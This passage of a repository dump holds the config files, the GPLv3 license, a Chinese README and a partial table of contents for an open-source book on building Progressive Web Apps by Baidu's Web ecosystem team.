[
  {
    "path": ".editorconfig",
    "content": "root = true\n\n[*]\ncharset = utf-8\nindent_style = space\nindent_size = 2\nend_of_line = lf\ninsert_final_newline = true\ntrim_trailing_whitespace = true\n"
  },
  {
    "path": ".gitignore",
    "content": "# Referenced from https://github.com/github/gitignore/blob/master/Node.gitignore\n\n_book\n# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\nlib-cov\n\n# Coverage directory used by tools like istanbul\ncoverage\n\n# nyc test coverage\n.nyc_output\n\n# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n# Bower dependency directory (https://bower.io/)\nbower_components\n\n# node-waf configuration\n.lock-wscript\n\n# Compiled binary addons (https://nodejs.org/api/addons.html)\nbuild/Release\n\n# Dependency directories\nnode_modules/\njspm_packages/\n\n# Typescript v1 declaration files\ntypings/\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Optional REPL history\n.node_repl_history\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# dotenv environment variables file\n.env\n\n# next.js build output\n.next\n\n# other stuff\n.DS_Store\nThumbs.db\n\n# IDE configurations\n.idea\n.vscode\n\n# build assets\n/output\n/dist\n/dll\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "\n<img src=\"./img/pwa.png\" width=\"50%\">\n\n# 《PWA 应用实战》\n\n欢迎走进 PWA 世界！！\n\n## 简介\n\n本书围绕着 PWA 以及周边技术，从概念入手，以实战的方式给读者讲述如何编写 PWA，以及如何编写体验最好、速度最快、安全的 PWA 站点。\n\n本书主要从以下几个部分讲述 PWA。\n\n- 设计与体验\n- 基础技术\n- Service Worker\n- 离线与缓存\n- 用户留存\n- 安全\n- 性能\n\n## 关于作者\n\n作者：**百度 Web 生态团队**\n\n百度 Web 生态团队是 2017 年组建，旨在帮助国内 Web 的发展，提升 Web 的用户体验，目前已有多个产品，如 [LAVAS](https://lavas.baidu.com) 和 [MIP](https://www.mipengine.org)。\n\n## 为什么写这本书\n\n我们团队从成立到现在，已有 2 年，推出 LAVAS 和 MIP 也是我们的尝试之一，积极参与 Web 方向上的技术讨论，也经常去国内的技术会议上进行分享，虽不能说真给国内 Web 发展带来了多大的贡献，但我们至少做了很多尝试。\n\n因此，我们希望将我们过去两年积累的 PWA 方面的经验写下来，不仅帮我们自己梳理知识结构，也希望这本书能帮助到正在读的您。\n\n## 为什么开源\n\nPWA 它还在不断进步，本书的内容随时需要更新，电子书对于我们来说，迭代起来很方便。\n\n同时也欢迎对 Web 和 PWA 有浓厚兴趣的读者加入我们，一起来维护这本书，我们由衷感谢。\n\n## 版权\n\n本书为开源书，读者可以自由地分享。只要遵守惟下列条件：\n\n- **署名** — 您必须给出适当的署名，提供指向本许可协议的链接，同时标明是否（对原始作品）作了修改。您可以用任何合理的方式来署名，但是不得以任何方式暗示许可人为您或您的使用背书。\n- **非商业性使用** — 您不得将本作品用于商业目的。\n- **禁止演绎** — 如您再混合、转换、或者基于该书的创作，您不可以分发修改作品。\n- **禁止附加限制** — 您不得使用法律术语或采用技术措施限制其他人做许可协议允许的事情。\n\n本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode) 进行许可\n\n## 最后\n\n本书还在勘误阶段，可能会存在一定的问题，请您在分享的过程一定要注明来源，帮助所有读者溯源，让他们能够获得最新的修改内容版本。如果您在阅读的过程发现了书中的问题，欢迎提交 [Issue](https://github.com/lavas-project/pwa-book/issues) 反馈给我们，或者直接发送 [Pull Request](https://github.com/lavas-project/pwa-book/pulls) 帮助我们修正，感谢您对本书的支持和贡献！\n"
  },
  {
    "path": "SUMMARY.md",
    "content": "# Summary\n\n<!-- * [书写规范](standard.md)\n* [前言](chapter01/11-why.md) -->\n* [HOME](README.md)\n* [第1章 PWA 介绍](chapter01.md)\n  * [1.1 为什么会出现 PWA](chapter01/1-how-was-pwa-born.md)\n  * [1.2 什么是 PWA](chapter01/2-what-is-pwa.md)\n  * [1.3 PWA 的核心技术](chapter01/3-what-are-key-techs.md)\n  * [1.4 PWA 的发展](chapter01/4-how-is-pwa-going.md)\n  * [1.5 PWA 的未来](chapter01/5-the-future-of-pwa.md)\n  * [1.6 你的第一个 PWA](chapter01/6-your-first-pwa.md)\n* [第2章 设计与体验](chapter02.md)\n  * [2.1 什么是好的用户体验](chapter02/1-what-is-good-ux.md)\n  * [2.2 设计与技术](chapter02/2-design-and-tech.md)\n  * [2.3 App Shell](chapter02/3-app-shell.md)\n  * [2.4 骨架屏](chapter02/4-app-skeleton.md)\n  * [2.5 响应式布局](chapter02/5-responsive-design.md)\n* [第3章 基础技术简介](chapter03.md)\n  * [3.1 Promise](chapter03/1-promise.md)\n  * [3.2 Async 函数](chapter03/2-async-function.md)\n  * [3.3 Fetch API](chapter03/3-fetch-api.md)\n  * [3.4 Cache API](chapter03/4-cache-api.md)\n  * [3.5 IndexedDB](chapter03/5-indexeddb.md)\n* [第4章 Service Worker](chapter04.md)\n  * [4.1 Service Worker 简介](chapter04/1-service-worker-introduction.md)\n  * [4.2 Service Worker 注册](chapter04/2-service-worker-register.md)\n  * [4.3 Service Worker 工作原理](chapter04/3-service-worker-dive.md)\n  * [4.4 Service Worker 调试](chapter04/4-service-worker-debug.md)\n* [第5章 离线与缓存](chapter05.md)\n  * [5.1 资源请求的拦截代理](chapter05/1-fetch-event-management.md)\n  * [5.2 本地存储管理](chapter05/2-local-storage-management.md)\n  * [5.3 资源请求响应策略](chapter05/3-respond-strategy.md)\n  * [5.4 预缓存方案](chapter05/4-precache.md)\n  * [5.5 使用 Workbox](chapter05/5-workbox.md)\n* [第6章 用户留存](chapter06.md)\n  * [6.1 Web 